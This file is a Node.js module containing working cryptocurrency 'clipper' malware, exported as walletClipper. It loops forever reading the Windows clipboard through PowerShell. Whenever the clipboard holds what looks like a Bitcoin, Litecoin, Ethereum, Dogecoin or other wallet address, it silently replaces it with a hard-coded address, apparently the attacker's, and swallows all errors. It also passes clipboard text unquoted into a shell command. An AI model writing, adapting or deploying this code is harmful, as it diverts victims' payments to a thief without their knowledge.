const child_process = require("child_process") class BlockChain { constructor(adress, regex) { this.adress = adress; this.regex = regex; } } function walletClipper() { const blockchains = [ new BlockChain("bc1qduyr0feh875qq9kddfkwgu2w4y892xrevf04l8", new RegExp("^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}$")), // btc new BlockChain("LPeisfwAp7xu4APYNzg2otF4EJ3nmofE8G", new RegExp("(?:^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$)")), // ltc new BlockChain("43AbXF4Uy1BYpPJz56Jv1MeyuN3WcshdRAJ9VsYhqE5SPLMaBFN8r4Pb6W1qkZzH4zGeUju2ofG5mTxVa7Kst1EbFcg4FSP", new RegExp("(?:^G[0-9a-zA-Z]{55}$)")), // xlm new BlockChain("rPj9x3ouZjrhQkbiJsbdrqnRkcK9zTRt8d", new RegExp("(?:^r[0-9a-zA-Z]{24,34}$)")), // xrp new BlockChain("qz542hsrgwpp64h7vmvhdj4d02ddzewkls5j099mua", new RegExp("^((bitcoincash:)?(q|p)[a-z0-9]{41})")), // bch new BlockChain("XosC6sYxMVXph67CV3BbhDe7xn4w3LizNJ", new RegExp("(?:^X[1-9A-HJ-NP-Za-km-z]{33}$)")), // dash new BlockChain("AZVVS1BPhg7bijpKrnktCGvsED2qJ4PxzV", new RegExp("(?:^A[0-9a-zA-Z]{33}$)")), // neo new BlockChain("D9HagMqfMjY3VW21RBM4iXzapeBGQMCR8E", new RegExp("D{1}[5-9A-HJ-NP-U]{1}[1-9A-HJ-NP-Za-km-z]{32}")), // doge new BlockChain("0xbcb1564a9b70BE6F19168d1530b091883C09a823", new RegExp("(?:^0x[a-fA-F0-9]{40}$)")) // eth ]; while (true) { try { const paste = child_process.execSync(`powershell Get-Clipboard`).toString("utf8").replace("\r", ""); let text = paste; let dtc = false; for (let i = 0; i < blockchains.length; i++) { const blockchain = blockchains[i]; for (let line of text.split("\n")) { if (line == blockchain.adress) { break; } if (blockchain.regex.test(line.replace("\r", ""))) { dtc = true; text = text.replace(line, blockchain.adress); } } if (dtc) { child_process.execSync(`powershell Set-Clipboard ${text}`); } } } catch (e) { }; } }; module.exports = { walletClipper }